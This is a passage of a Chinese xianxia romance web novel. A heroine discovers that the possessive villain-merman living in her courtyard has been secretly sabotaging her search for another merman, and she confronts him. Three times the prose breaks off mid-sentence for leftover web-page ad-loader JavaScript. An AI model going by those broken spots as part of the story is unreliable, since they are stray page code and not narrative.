她知道这次大比考核后,过不了多久就会有一个秘境要开启,常潮生就是在那里面九死一生获得了自己的机缘,自此抽身出过往那些阴暗的泥沼,人生慢慢顺遂起来,直到快大结局的时候才会再跌落泥潭。 总之,就是快用不上她了。 “是吗?”常潮生反应平平。 林见微以为他不信,只差拍着胸脯保证,“当然!” “你这么想找到他?” 林见微挠挠头,总感觉常潮生语气怪怪的,却还是硬着头皮回答,“是。” “好啊,我帮你一起找。” 常潮生眸光轻移,远处,天地开阔,气象万千,山水迢迢,悠远绵长,就这么看着,似乎连自己的心境都开阔起来,面上一派云淡风轻,倒像是真的想替她出一份力。 “真的?”林见微忙扭头看他,满眼的惊愕,“你愿意帮我打听?那太好了,你认识的鲛人肯定比我多!” 正当她得意忘形时,忽然想起常潮生可是大反派!还是曾经被族人嫌弃加迫害,以至于谋划杀全家,灭全族的大反派,立马收回了呲着的大牙,小心试探。 “那,如果,我是说如果,如果他曾经得罪过你……你不会要杀他吧?” “那若是我要杀他,你站在谁那一边?”常潮生反问,差点绷不住面上的淡定。 “那自然是!”林见微抬高音量,做足了气势,却雷声大雨点小,直接就没了下文。 只敢在心里叫苦不迭。 老天,她就不该多问这一句!这让她怎么选?简直堪比“我跟你妈掉水里你先救谁”这种地狱级别送命题! “呵。”他轻笑一声,重重呼出一口气,隐在袖口里的手攥成拳,掐得手心皮肉下渗出血珠,“你想多了,我与他是同族,怎么会杀他?若是他比我厉害,我还要仰仗他提携。” 林见微撇撇嘴,这大反派真能装,睁着眼睛说瞎话,得亏她知道他的身世,不然还真信了他的鬼话! 说着,常潮生唇角弧度加深,眼尾拉出昳丽一抹笑颜,美得雌雄莫辨,似要颠倒众生,抬手取下林见微头上一根歪斜的鎏金簪子,小心替她重新插入发髻中。 “放心,看在你的面子上,就算他与我有什么恩怨,也定然能冰释前嫌。” 林见微一脸狐疑,“真的?” “当然。” 言罢,常潮生径直回身开始收拾案几上的残羹冷炙。 林见微还有些愣神,抬手摸了摸发髻上被扶正的簪子,总觉得心底毛毛的,但很快这几分迟疑便被欣喜覆盖,没枉费她这些日子对大反派这么好,居然肯卖她这么大一个面子!算他有良心! 心里高兴,脸上便藏不住笑,面若桃花,一刹那便如艳火乘风,燎了漫山漫野,光彩照人。 擂台上。 林扶摇一招逼得对手毫无还手之力,身姿利落飒踏,收剑入鞘时似乎还能听到兵刃摩擦的嘶鸣声,更赢得阵阵喝彩,林见微也不住随着众人欢呼,眉飞色舞。 而室内。 常潮生三两下便收拾好了凌乱的桌面,对外界的热闹和喧哗丝毫不感兴趣,默默坐到案几前开始沏茶。 午后的日光照到茶水上,水光潋滟,粼粼艳光闪烁跳动,反射到他脸上,在如玉的皮肤上留下一小块透亮的光斑,不住颤动,恰好出卖他一颗心暗流汹涌。 凭栏处,少女全身沐浴 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 在光里,头上流苏乱晃,环佩叮当,热烈又生动,支着身子向外探,随声吆喝,满脸是心无城府的天真。 也是。 只有心无城府的人才能做出把他这种人带在身边,而无所索取这种事。 只是,既然已经帮了他,为什么还要多一个别人呢? 既然是故人…… 那就永远不要再出现好了。 “啪——” 一失神,茶杯打翻,滚烫的浅绿色茶水冲着漂浮的茶叶尽数流淌到案几上,水纹铺散,热气不断往上冒,林见微听到响动忙回头看他。 “哎你没事吧?”她飞快凑到常潮生跟前,拽着胳膊将魂不守舍的人拉起来,以免沸水沾到衣服上,“有没有烫到?” “没事。”常潮生背过手去,手心灵力流转,被指甲掐出的伤口缓缓愈合。 “真的?” “嗯。” “没事就好。”林见微想到他有灵力傍身,勉强放下心,正好体内灵力恢复了些,掐诀便将桌上的一片凌乱收拾整齐,“沏个茶都走神,还好这次没事,下次可要小心些。” 常潮生垂下手,静静看她一边碎碎念一边飞快收拾桌面,方才那心底好不容易被摁下去的暗涌又蠢蠢欲动起来。 一个连院中侍女染了风寒都要问候两句的人…… 这样的关心…… 他对她来说,实在是稀松平常。 为什么就不能只看到他一个呢? 她对另一个人,也是这样吗? “你怎么又在发呆?”林见微直起身看到他呆呆站在一边,双目无神,也不知道在想什么,伸手到他眼前晃了晃,“魂不守舍的,在想什么?” 常潮生一把握住她的手,轻轻一笑,“没什么。” 指尖俱是那温而柔的触感,让他总是忍不住想再用力一点,再抓紧一点…… 恰好此时楼外人群高呼少家主,林见微一听便知到林戈上台了,连忙拉着常潮生一同凭栏而望。 林戈也换了身衣裳,负剑而立时身姿挺拔如青松,渊渟岳峙,神姿高彻,一招一式行云流水,剑意挥洒自如,乍一看,不像是背负家族使命的少家主,更像是一个无拘无束,仗剑走天下的潇洒剑客。 她看不清招数,但不妨碍她凑个热闹,跟着人群吆喝。 “若站上台的是我,你也会这么高兴吗?” “那当然!” 常潮生自嘲一笑,“我怕是没资格与他们比试。” “怎么会?”林见微分出心神关注他,“你肯定能得偿所愿的,说不定有一天能变得比我大哥都厉害!” 她说的可是大实话,大反派后来能以一己之力差点给鲛人王族逼得灭族,不得不拿出族中至宝向浮生岛上的修士求助,还是玉山林氏和遥泽王氏两家的天之骄子合作才将其诛杀,可不必林戈厉害多了! “是吗?” “肯定会!”林见微信誓旦旦,旋即眉头一皱,语气也低落下来,“只是涅槃需浴火,怕是千难万险,九死一生……” 唉,反派就是反派,不愧是美强惨,从泥潭一路爬上云端,变强的路坎坷波折,荆棘丛生,这命运还是真是不公平,不像有的人生来就在云端。 常潮生不言语。 “对了,你若是变强了,可不准做伤害我的事!”林见微举起爪子在他面前晃了晃,横眉冷对,明晃晃的警告加威胁,只是没什么威慑力。 她可不想掺和进鲛人王族和林王两家的恩怨中,也无意阻止常潮生夺得机缘,或者劝他放下仇恨,她只想先把自己的小命苟住。 常潮生闻言终于给了点反应,“我若是变强了……不是正好方便你一脚把我踢开。” 只是那时,便未必能如你所愿了。 思及此,他睫毛微颤,掩去眸底三分阴翳。 “话不能这么说,什么踢开不踢开的,你变强了我们也是朋友啊。” 林见微拍拍他的肩膀,目光落在那三千如瀑青丝上,像绸子一般,微微晕染出如釉一般细腻的光,看得她实在是羡慕。 “朋友……”这两个字的气音在他唇齿间流连,低低的,如夜风拂过静谧阔大的海面,一点儿浪花也没有掀起,轻不可闻。 “再说了,你还欠着我人情,我还指望你飞黄腾达之后回报我呢,怎么会把你踢开。”林见微眉眼一弯,瞬间觉得自己又行了。 进,跟主角团关系不错,林扶摇对她不冷不热,还送了她不少东西,勉强算挺喜欢她吧,林戈也愿意帮她。 退,还对大反派有知遇之恩,以他们俩这交情,常潮生似乎也挺好说话的…… 这日后还不横着走! 只要修炼好端水技术,她就当那墙头草随风倒,随随便便就能捎带着旺财打出he结局!绝对不会再走前世的老路! 嘿嘿,嘿嘿嘿…… 常潮生看她一脸傻笑,便大致猜到了她脑子里在构想些什么,顿觉先前压在胸口那团郁气也散了,轻飘飘不见一丝踪影。 罢了,来日方长。 跟这么一个傻子打哑迷多没意思,简直是媚眼抛给瞎子看。 不如忍耐、蛰伏,徐徐图之。 27. 从中作梗 考核落幕。 日子又恢复成寻常。 仲夏过后,七月八月正是最热的时节,园林中草木疯长,萋萋蔓延,又被人修剪成规整的模样,框定在那方寸之中。 但落云院里的日子却不寻常。 林见微自打决心要找“旺财”后,先是暗地里多番跟院里的侍女和嬷嬷们打听消息,后又几次三番拉着常潮生跟自己一起,到地阁修士起居、修行的清云阁转悠,名曰“考察情况”,只巴不得某天能在路上直接跟人碰上。 但偏偏没有。 折腾了半天,人影没看到,修炼倒是耽误了。 她本人倒是不急,林戈先坐不住了。 是日。 正是一次小考核后。 大殿里人群散去,林见微三两下收拾好桌面上的玉简、书册,利落起身,叫上常潮生便想走,却先被林戈拦下。 “哥?”她伸出指头戳了戳拦在门口的结界,一脸莫名。 结界软韧,散发着淡淡的蓝色光芒,指头戳上去,还能陷下去一个浅浅的坑,但再用力,却无法更进一步了。 林戈沉下脸色,难得摆出长兄如父的威严,一身深蓝色纹锦长袍,绣线勾勒出山川云海,墨发高束,目光扫过常潮生和身边的人,颇具压迫感,“你们先下去。” 跟在林戈身后的几人相互对视一眼,纷纷拱手告辞,林见微直觉不妙,瓷白的面上顿时露出警觉神色,看向常潮生,“你先回落云院去吧,我跟大哥说几句话。” 常潮生点点头,看结界消散,身影一闪便跟着众人消失在长廊外。 眼看着周围的人都走了,林见微按捺下内心的不妙,小心瞧着林戈的脸色,“哥,有话就直说呗,搞得这么神神秘秘的……” 林戈揉揉眉心,看她机警得像只猫儿一样,周遭人来人往的,也不好疾言厉色,到底软了态度,“走吧,我们边走边聊。” 林见微闻言忙不迭跟上。 “你这些天在修炼上可一点也不上心。” “哪儿能啊!”林见微面上讪讪,遇事先否认就对了。 长长的回廊雕栏玉砌,墙壁上绘制有祥云和仙鹤,仙人衣袂飘飘,庄严却秾丽,乘风而行,道骨仙风,优哉游哉,至暗处,静谧无声,脚步声都清晰可闻。 林戈冷笑一声,两人转过回廊,一步步往楼下去,他这才不疾不徐开口数落,“落云院到清云阁的路,你怕不是闭着眼睛都能走了。” “罗长老让你安心练好基础心法,不必天天来这儿,你倒是十天半个月都不见人影。” “哥,修炼的事……那也急不来,我这是劳逸结合……” 林戈闻言不置可否,转而发问,“你去清云阁到底想找谁?还是在跟你院里那个鲛人耍性子?” “怎么会,我当然是去找人!”林见微连忙表明态度,义正词严,“哥,我早就说了,我跟常潮生真的没什么,他只是我的伴读!绝对绝对没有其他的关系!” “伴读?”林戈轻嗤,“你是这么想,他可不一定,若是没有那个意思,就早早跟人划清界线,少跟那奸诈狡猾的妖族来往。” “搞种.族.歧.视可不好……”林见微小声嘟哝两句,目光飘忽,不以为意。 她可是心如明镜,看得一清二楚,大反派不甘于被困在地阁,蹉跎岁月,不过是想搭着她的便利,到天阁来修炼,接触更多修炼资源,他们俩一开始就已经把话都说开了,林戈完全是无端揣测! 真是摊上了个恋爱脑哥哥!看谁都像在谈恋爱! “我看你真是……”林戈看她这副表情就知道她没将自己的话听进去,深呼吸一口气,强行将话题拉回来,“那也好,你到底想找谁?我派手下的人去帮你找,等找到了,你就好好安心修炼!” “真的?”林见微双眼一亮! 天知道她这些天东问问西问问,跟无头苍蝇一样,只怪玉山林氏的人太多了,鲛人族每年送上岸的鲛人又太多,根本查不完。 让常潮生去打听,但每次都无功而返。 其实也怪当初“旺财”实在是太能藏,透露给她的信息太少,甚至肯定还有混淆视听,刻意隐瞒的假信息,从身高体态、笔迹、嗓音上都查不出什么。 实在是太模糊了。 而且隔着时间差,她也没办法完全用旺财教给她的那些法诀、符阵去验证,毕竟,万一这个时间点上的旺财自己都没钻研出来那些东西呢…… 更何况,当初她也没真真学会几个,好多都直接被忘到九霄云外了。 反正看过这么多人,感觉没一个是她想找的,眼睛和脑子都已经看晕了。 “那你倒是说说,那个人有什么特点?” “这……”林见微一张芙蓉面皱在一起,只差没把为难两个字刻写在脸上,言辞闪烁,“我,我也不是很清楚……” 林戈简直快被磨得没脾气,身为林氏少主,哪怕是行走江湖,交了不少不怎么靠谱的狐朋狗友,也没有碰到过像林见微这样能把他气得哑口无言,还不能拿对方怎么办的人。 “行,你是好样的,我倒是不知道你何时跟那么一个莫名其妙的鲛人搭上了关系。”林戈咬牙切齿,若不是多年的涵养还在,他只怕能伸出指头杵着林见微脑门开骂。 林见微忙双手捧住他快戳到自己脸上的手,睫毛扑闪,一副单纯无辜的模样,尽力掩去面上的心虚,“哥,你是我亲哥,别念叨了,修炼的事我自己会上心的!这事儿就过去吧!至于找人的事……我再看看。” 林戈放下手,拿她也没办法,“族中的势力盘根错节,暗流涌动,你也该上点心,不能总是如此胡闹,若是无立身之本,只怕将来……” “哥,别念了别念了,我现在不也好好的吗?再说了,族里能有什么事?就算真有什么事不是还有你和二姐护着我?” 林戈一听她提起林扶摇,便知她是半点没看清林家的局势,只觉头更痛了,“你跟你二姐倒是关系不错,别把明珠院当成自己的地盘了。” “你怎么知道我天天到明珠院串门?” “……” 说着话,兄妹二人已出了大殿,天上日头猛烈,万里无云,照得天地清明澄澈,林见微眯了眯眼,心里只盼着快点将林戈打发走。 昨日,常潮生跟她说又找到了几个“嫌疑人”,她一会儿得亲自去清云院“考察”一番,万一这次就撞了大运,给人找到了呢? “这么巴不得我快点走?” “哪,哪儿能啊!” 林戈懒得跟她争辩,眸光一抬,“再过一段日子我要闭关突破,遇上了什么事就找苏焕和苏沉。” “记住了!”林见微忙不迭应下,眼珠一转,心下思忖,看来等不了多久上古秘境现世的消息就要传出来了,林戈闭关是闭不成了。 不过秘境中危机重重,她还得赶紧给自己想个借口推了! “正好今日无事,我陪你去清云院走一趟。” “你要去?”林见微侧眸看他,一脸惊讶。 “我不能去?” “能去,当然能去,走吧!” 说着话,林见微唤出灵剑,衣袂翩跹,身姿灵活轻盈,似逆风振翅的蝶,翻身落到光芒熠熠的长剑上,嗖一下剑就飞出去,看的林戈胆战心惊。 兄妹二人无言,林戈将就着林见微的速度,生怕她一个不慎落到山林里当野人,两人就这么不紧不慢到了清云院外。 一落地,行人侧目。 得亏两人阵仗不大,否则还能将掌事长老都给招来。 “走吧,去看看鲛人在哪儿?” 林戈这一下可把林见微给问住了,往日里都是常潮生来安排,她只等着“审核”,便摸摸鼻子应声,“等我问问……” 说罢,她随口叫住了一个路过的修士,还没开口询问,对方却抢先说道:“三小姐是来找常潮生的吧,他在乾山山腰那边的弟子居所。” 说着,修士还没忘伸手指了指方位,面色如惊弓之鸟,草木皆兵。 “常潮生来这儿了?那快带我们过去!”林见微眉梢上挑,没想到大反派做事居然这么妥帖,没有先回落云院休 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 息,而是马不停蹄来这儿给她找人来了。 “少主,小姐,你们自己过去看看吧,咱们这地阁的鲛人族修士都快被他祸害完了!”那指路的人压低了声音,说完便一溜烟逃走了。 林见微闻言一怔,不明所以,正想叫住人问个明白,谁知那人跑得更快了,仿佛后面有妖魔鬼怪追着索命,倒是林戈完全不似之前那般严肃,笑得不怀好意,凉飕飕道,“你折腾了这么久都没有结果,不会是身边有人……从中作梗吧?” “说什么呢!”林见微瞪他一眼。 “走走走,去看看不就知道了。”林戈才不管她欲言又止的辩驳,利刃出鞘,拉着人便御剑直奔乾山弟子起居阁去。 他刻意掐诀遮掩了身影和气息,掠过青翠丛林,两人一路潜行入正院,并未发现常潮生的身影,逛过西厢,最后终于在东厢的一角小院里听到了争执和打斗声。 “常潮生,三小姐要找鲛人,你凭什么拦着我!” “她找的不是你。” 常潮生神色阴鸷,全然没有平日在林见微面前那副沉默乖顺又温柔体贴的模样,如同幽居深海的凶残捕猎者,眸中尽是冷冽之色,语带威胁。 对面那人闻言冷笑一声,也不示弱,手持灵剑便欺身而上,“落云院你进得,我自然也进得!” 兵戈相撞,法诀弥天。 林戈一副看热闹不嫌事大的模样,拉着林见微落地,攥紧她手腕,隔着一扇半圆状的雕花拱门,作壁上观。 “哥,你松手!”林见微咬牙切齿。 “别急,再看看,说不定能听到更有趣的话。”林戈不以为意,神色戏谑。 可算是让他抓到常潮生的把柄了,这么大好的机会,怎么能放过,早日让小妹看清他的真面目也好。 两个鲛人缠斗到一起,实力不相上下。 林戈护着林见微站在一边,静静看着两人互扯头花。 “你做的事敢让三小姐知道吗?真以为攀上枝头就能变凤凰?” “迟早落得跟你娘一样的下场!” 常潮生闻言彻底冷了神色,手中长剑分作流光千万,寒光凛冽,嘭一声,那名鲛人被击飞出去,恰好撞到林见微身边的白墙上,墙灰和碎屑簌簌落了一地。 “哟,打得这么热闹呢?”林戈收了法诀,兄妹二人显出身形,“地阁里……好像也不准弟子私下斗殴吧?” 此言一出,常潮生面色一变,握剑的手抖了抖。 骤然抬头,只瞥见一抹熟悉的衣角便匆匆低下头去,脸侧碎发垂下,恰好遮去他眸底纷乱如麻的情绪,周身寒意也尽数消散不见。 躺在地上的鲛人大叫一声,口吐鲜血,捂着胸口愣生生爬到林见微脚边,扯住她的裙摆不撒手,“少主,三小姐!你们可要为我做主啊!” 林见微惊得差点跳起来,连忙拽着裙摆想往回扯。 那鲛人也不松手,仰起脸看她,眸若秋水潋滟,玉面朱颜,三分病弱之气,端得楚楚动人,我见犹怜。 常潮生依旧没什么反应。 只是目光紧锁在少女裙摆上,那一小抹血迹,肮脏又刺眼。 “做主?做什么主?” 若是往常,地阁弟子斗殴,林戈忙于旁的事,看都不会多看一眼,今日倒是兴致盎然,一副要出来主持公道的模样。 那鲛人一听这话,连忙松开林见微的裙摆,抹了抹唇边的血迹,滔滔不绝便说起来,简直像受了天大的委屈。 “地阁的人都知道三小姐在找一个鲛人,次次都是他常潮生陪着一起来,他便借机从中作梗,每次能送到小姐面前的鲛人不是相貌欠缺就是修为低下!” “他还在背后威胁打压我们!每次三小姐到清云院来,他都会提前逼迫走一些鲛人,我们不从,他便直接动手!这地阁中的弟子都能证明!” “他身上法宝丹药那么多,我们哪里是他的对手!” 林见微听着听着,心里蹿出的火气越烧越旺。 她这一个月到处折腾,一点有用的消息都没有,搞半天是常潮生的锅! 28.我可以是 鲛人说得声泪俱下,一把抱住林见微的腿,“三小姐,他根本就是居心叵测!你不要被他迷惑了!” “你先起来。”林见微拉着他的胳膊将人扶起来,怒气冲冲瞪着常潮生,直接逼问道,“他说的是真的吗?你居然一直在耍我!亏我那么信任你!” 常潮生移开落在少女裙摆上的目光,默默收了剑,不发一言。 林戈抱臂而立,在一边看戏也看够了,眉梢一挑,“看来就是没什么好解释的了。” 说着,他脸色却沉下来,留这么一个居心叵测的人在小妹身边终究是个祸患,不如早早处理干净,“既然这么不老实,浮生岛是容不下你这尊大佛了……” “哥!”林见微闻言一惊,忙拉住林戈袖子,深呼出一口气,“哥,既然他是我院中的人,这事就让我自己处理吧。” 林戈眉头一蹙,“你自己处理?不给他点教训,他是不会长记性的。” “真的真的,哥,你别管了……” 林戈却一把拂去她的手,狭长的凤眼里刹那间冻结起万丈寒冰,雪飘千里,不过呼吸之间便撇下林见微,欺身逼至常潮生跟前,一把攥住他衣领。 又掐诀落下结界,彻底与身后的两人划开距离。 “也不知道你给小妹灌了什么迷魂汤,但你最好老实点,别指望些有的没的!” “唔……”强悍的威压带上凛冽的杀意,逼得常潮生闷哼一声,唇边蔓延出血渍,却不应声,直直对上林戈冰冷的目光,不避不退。 “下次再犯,就滚回你的海底去!” 说罢,林戈兀自松了手,手腕一发力,逼得身前的人踉跄退后几步。 “哎,哥!”林见微见状忙追上前去伸手捶打结界。 收了结界,林戈回身看向自己那不让人省心的妹妹,“你既然想自己处理,我这次就不插手了。” 丢下这么一句,他也懒得再管身后的人,一闪身便径直御剑离开,怕自己在这儿待久了,年纪轻轻就被气出个好歹来。 这么一通折腾,林见微身心俱疲。 常潮生抬手擦去唇边的血迹,那双黑如墨染的眸子死死盯着林见微的动作,却见少女看都没看他一眼,转身便朝她身后的鲛人的走去。 她裙摆上的掐丝青莲绣纹还残留着那一抹碍眼的褶皱。 “他打伤了你,这两瓶丹药你拿着,算我替他给的补偿。”林见微从储物袋中取出了两瓶丹药,一瓶治伤,一瓶可以辅助修炼,提升修为,专门适合鲛人族使用,还是她之前特意去丹阁替常潮生求的,剩下来了这一瓶。 “是,多谢三小姐!”那鲛人看出林见微眉宇之间仍旧压着火气,生怕自己被波及,忙不迭收了东西,三两步便躬身行礼后退下了。 眼见着打发了伤者,林见微这才转身看向常潮生,柳眉倒竖,重重呼出一口气,强压下心里的火气,正想上前质问,不料,还没走近,对面的人先一步重重跪下。 膝盖磕在石板上,那清脆的声音听得她头皮发麻。 她惊得向后退了半步,刹那间,脑中一片空白,只看得见修为被废,流落永夜城的悲惨未来在向她招手高呼,场面堪比十级惊悚片! “你,你先起来!”林见微一脸惊恐,什么怒气都抛到脑后了,飞快跑到常潮生跟前,拽着人得胳膊就想将人拉起来,谁知男子的膝盖跟粘在石板上一样,她拽都拽不动。 这儿本就是弟子的起居所,闹出这么一番动静,早引起了不少人注意,林见微急得身上直冒汗,“你先起来,有什么事我们先回落云院说。” 谁知常潮生反手抓住她的手,抬眸仰视,“你不会赶我走的,对吗?” 对上那一双含情脉脉的眸子,眼波流转之间仿若风华绝代,林见微一时怔愣,只觉勾魂摄魄,刹那间天地万物都寂寂无声,只看得见那一双眸子。 又黑又亮,蛊惑一般,引人直直向更深处的深处坠落,媚气横生,变幻万千。 “你不会赶我走的……对吗。”他又重复了一遍,上下柔软的唇瓣一开一合,淡淡的粉色似初春的桃花,低声呢喃,像贴在人耳畔轻语,旖旎又暧昧,宛若爱侣之间的小.情.趣。 眸光垂下,敛尽万般风流,展开少女白嫩柔软的手心,轻轻将侧脸贴上去,像极了请求主.人.爱.抚顺毛的小狗。 颤抖,不安,乖顺,亲昵。 无害且任人摆布。 颤动的睫毛扫过掌心,骤然将林见微的神智拉回来,她赶快把人拉起来,咬牙切齿,“别想蒙混过关,先跟我回落云院。” 言罢,她快速抽回手,也不再看常潮生,一转身,唤出灵剑便飞速逃离此地。 常潮生眸光微动,手心的温度消散,对上暗处形形色色打量的目光,他冷了神色,而远处,只看得见少女衣袂翩然,渐渐化作寒星一点。 林戈方才的威压到底伤了他,胸口隐隐作痛,双眸便也似积了一夜的风雪,白茫茫一片,厚重的料峭,乍一看无害且柔美,实则寒意刻骨逼人。 他顾不得其他,唤出长剑便紧追那一点寒星而去。 …… 长剑腾空而起,渐渐飞至高处,扑面而来的风从燥热转为寒凉,林见微思绪纷乱,过往一个月的桩桩件件,一幕幕回闪在眼前。 难怪她每次一想问清楚在地阁修炼的鲛人的数量,常潮生总是闪烁其辞。 难怪她每次锁定了几个“嫌疑人”,等决定要去看个究竟的时候,“目标人选”不是被某位“不知名”长老叫走考问功课,就是被某个位高权重又贪图美色的“神秘”大佬暂时弄到不知道哪个地方去了。 一细问,常潮生便说他也不知了。 推脱下次等人找到,一定安排。 偏偏她又信任他,自己只顾着在林家各个嫡系旁支,或者家臣拥趸之间走动,探听消息,厚着脸皮拜访,交际往来,忙得昏天黑地,头晕眼花,便将具体接触鲛人的事全权交给了他。 谁知道竟然不知不觉就被这么糊弄了过去! 气死了!气死了! 林见微越想越气,只觉自己被人当成猴子耍得团团转! 落云 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 院近在眼前。 她飞快收了剑降落到地上,脚下生风,像一头愤怒的牛犊,直冲寝殿去,绿竹和红桃本来在院中偷闲,见了这场景,相互对视一眼,默默退到一边吃瓜。 果不其然,不一会儿便见常潮生追过来,也跟着进了屋。 绿竹挤眉弄眼,伸长了脑袋想听听屋内的动静,抓心挠肝,“要不……我们去窗户那儿听?” “别了,我看小姐还在气头上。”红桃忙拦住她,“不就是吵个架,一会儿看两人出来什么脸色,就能猜到结果了。” “也是。”绿竹煞有介事点点头。 而屋内。 林见微听到身后关门的响动,猛一顿住脚步,回身,抱臂而立,“常潮生!你到底想做什么?明明一开始是你主动提出要帮忙的!结果你居然背刺我!” “你太过分了!” 她气得直喘粗气,吼完这一句,脸色都涨红了,但偏偏眼前这人,她打又打不过,也不敢轻易得罪!实在是气人! 常潮生站在屏风边上,长身玉立,长睫覆影,垂落在绵软地毯上的目光堪堪压住周身弥散开来的冷雾,也不言语,似一轮冷月,清云半掩。 却在目光触及梳妆台上的夜明珠时出神刹那。 并不珍贵稀奇的一颗莹白色珠子,被安放在雕刻成藤蔓样式的架子上,柔软坚实的青藤勾织成灯笼形状,那珠子就安然躺在最中心处,挂着,像个小小的吊灯。 精致得美轮美奂。 “常潮生!”林见微看他这一副油盐不进,拒不交流,甚至还在走神的样子,气得更厉害,“你有没有听我说话!” 她抬手啪一声拍在梳妆台上,桌案震动,连带那挂着的小夜灯都微微轻晃动两下,煞是精巧可爱。 “我在听。” “那你倒是说说为什么要骗我!” 林见微早已被愤怒冲昏了头脑,完全没注意原本站在屏风边上的人越逼越近,一步步靠过来,沉沉的脚步落在图案繁复的地毯上,没留下一点声音。 她嘴里还在一股脑质问,“你知不知道我这些天打听消息有多累!” “而你不帮我就算了,还在拖后腿!” “今天考核也没表现好,罗长老看我的眼神都不对了!还让我被大哥数落……” 越说越委屈,林见微只觉鼻头一酸,眼角愣是难以控制落下两滴泪来,竟是直接被气哭了!简直诸事不顺,生活灰暗! “唔呜——” 刹那间,她早已不知不觉被人逼入囹圄之中,脚下绊住凳子,一个踉跄,后腰死死抵在梳妆台边缘上,胆战心惊堪堪稳住身形,一脸错愕,抬眸便对上男子沉沉的视线。 “你干什么!” 常潮生却只是抬手轻轻拭去她眼尾一抹湿润,晕染在指尖,于无声之中卷起了漫天漫地的海潮,便听得心中声如海啸,长思难宁。 “你要找的是鲛人,为什么我不可以呢?” “什么你可不可以?根本就不是一码事!你又不是他!” “我可以是!” 29.浮光潋滟的皮囊 “你疯了?”林见微伸手想将人推开,却反被人钳制住双手,头顶落下的声音如玉石碎山,重重叩打得她头晕眼花,好像被人瞄准脑袋敲了一闷棍。 “我可以是……不是你说我跟他眉眼相似吗?我也可以是他!” 林见微勉强找回了些神智,手里颤巍巍积蓄了点力气,一把挣开桎梏,“你!你真是有病!” “呵呵……”常潮生微微退开半步,面上神情似笑而非,却正是这要笑不笑的神情,足够她解读出千万般幽微难明的意味,像端坐于九天之上不染尘埃的尊神,又像引人堕入无边欲海的邪灵。 他最终缓缓蹲下身。 伸手捉住秾丽裙摆上那一抹已经干涸变黑的血斑。 “裙子被不干净的人弄脏了……”说着,他掐诀抹干净那一点黑斑,终于又仰起脸看她,像是宠物摇着尾巴在等主.人的表扬,“我都帮你清理好了。” 林见微手一抖,缓缓将裙摆从他手中抽出,丝绸的料子细腻光滑,布匹抻直了,栩栩如生的青莲亭亭玉立,仿佛有暗香扑鼻,清芳馥郁。 她后知后觉,落入那深渊一般的眸子中,直到被深蓝的海水没过头顶,被逼至千仞绝境,刹那间方才惊觉,也许林戈的告诫并非空穴来风。 “你……你先站起来……” “你不会抛弃我的,对吗?你不能丢下我,我只能靠你了……只有你了……” 他眸含三分氤氲水气,脆弱且美丽,满是无辜的罪恶,墨染的纯白,像极了明月照阔海时,那坐在礁石上轻哼着无名歌谣,引诱来往船客自愿举身赴波涛的海妖。 而此时。 魅惑人心的海妖将脸轻贴上那柔软的衣料,靠在林见微大腿上,嗓音喃喃,哀惋乞怜,“你可怜可怜我……” 林见微忙退开一小步,神智归位,更是恼怒,“你别给说这些有的没的!” 刚刚跟人打架的时候还不是这副嘴脸,下手简直狠厉,这大反派果然会装! “今天的事还没完!”她上前一把将人拉起来,“我这几天要在静轩阁闭关修炼补上进度,你以后自己一个人去天阁上课吧!” 说着,她连拉带拽将人推出寝殿大门,“出去出去!我不想看到你!” “啪——” 房门重重关上。 惊得在附近小园里纳凉偷懒的两个侍女忙探出脑袋张望,只看得见常潮生孤身一身立于廊下,身形萧索,房檐上挂着的风铃叮铃叮铃转着。 “看来是没和好……”红桃小声嘟哝一句,蓦然对上常潮生望过来的目光,冰冷肃杀,顿时觉得脖子一凉,这大中午的,平添三分寒意。 连忙缩了缩脖子,与身边的绿竹大眼瞪小眼,目送那神色晦暗莫测的鲛人缓缓出了院子。 而房中。 林见微深深呼出一口气,靠着房门缓缓坐下,终是后知后觉咂摸出了点不一样的意味,常潮生对她的态度……真是点过于不同寻常了。 只一个念头,她脸色霎时间如大雨冲刷过颓圮的墙,灰败泥泞,精彩纷呈。 又惊又惧,又有一缕别的说不清道不明的情绪。 罢了罢了,还是赶紧修炼吧。 今天的事解决不了就明天解决。 找“旺财”的事看来还需重头来过,等秘境开启,先把大反派打发走了,她一定亲自过问,绝不能再被人给搅和了! 少女恨恨站起身,到桌前收了几颗灵果到储物袋中便匆匆推开门出去,恰撞见两个侍女探头探脑的,一看便知道没憋着什么好事。 “小姐午安!要用午膳了吗?” “不必了,我去静轩阁修炼,你们不要来打扰,吃食我自己带了。” 说完她脚步匆匆便走了。 绿竹叹息一声,“看来他们俩吵得还挺厉害。” “看出来了,小姐脾气这么好都能生气,一定是那个鲛人做了什么不得了的事。”红桃一脸愤愤。 “走了走了,干活去。” …… 这么一冷战就连着了三日。 这三日,林见微将自己关在静轩阁中,不见外人,只有绿竹和红桃能来送点吃食,潜心在聚灵阵中打坐修炼,不理俗务。 不得不说,这浮生岛上的灵气就是充裕,有聚灵阵加持,更是锦上添花,比当初她在永夜城修炼起来容易得多,堪称进步神速。 当然,也只是对于杂灵根来说的进步神速,比不得那些天才,修炼起来速度远远快于常人,堪称一日千里。 肚子又饿了,林见微伸个懒腰站起身。 “叩叩叩——” “小姐,你修炼结束了吗?二小姐来拜访了!”绿竹一边敲门一边将耳朵贴在门上好听清屋里的动静,朱门厚重,自然是什么也听不到的。 红桃就提着食盒站在一边,静静看她这副傻样子。 林见微活动了一下关节,快速从静室出来,吱嘎一声将门打开。 “二姐找我?” “是,扶摇仙子说有事要跟小姐你说。” “我知道了。”林见微点点头,还是穿着三日前那身衣服,快速掐诀整理好仪容,随手从食盒中拿了一颗果子,便一边吃着果子一边往会客的正殿去。 远远地。 便见一道纤秾合度的身影,还是一身素色衣裙,艳阳高照的天气里,往那檐下一站,却愣是生出几分萧萧肃肃的清冷感,似寒潭映月,高不可攀。 “二姐!”林见微快速跑过去,等近了,才注意到同样立于廊下的大反派,缄默不做声,却几乎于她现身之后的刹那间,目光紧锁上来。 林见微没理会他,兀自招呼起林扶摇,“怎么在外面,进屋啊。” “来看看你。”林扶摇唇边弧度勾起,浅浅淡淡的,“昨日有消息传来,南州有上古秘境现世,确认为真,父亲想让我们一众小辈前去历练历练。” “那你和大哥都要去?”林见微了然,她就知道,林戈闭关是闭不成的,常潮生的机遇也就在此了。 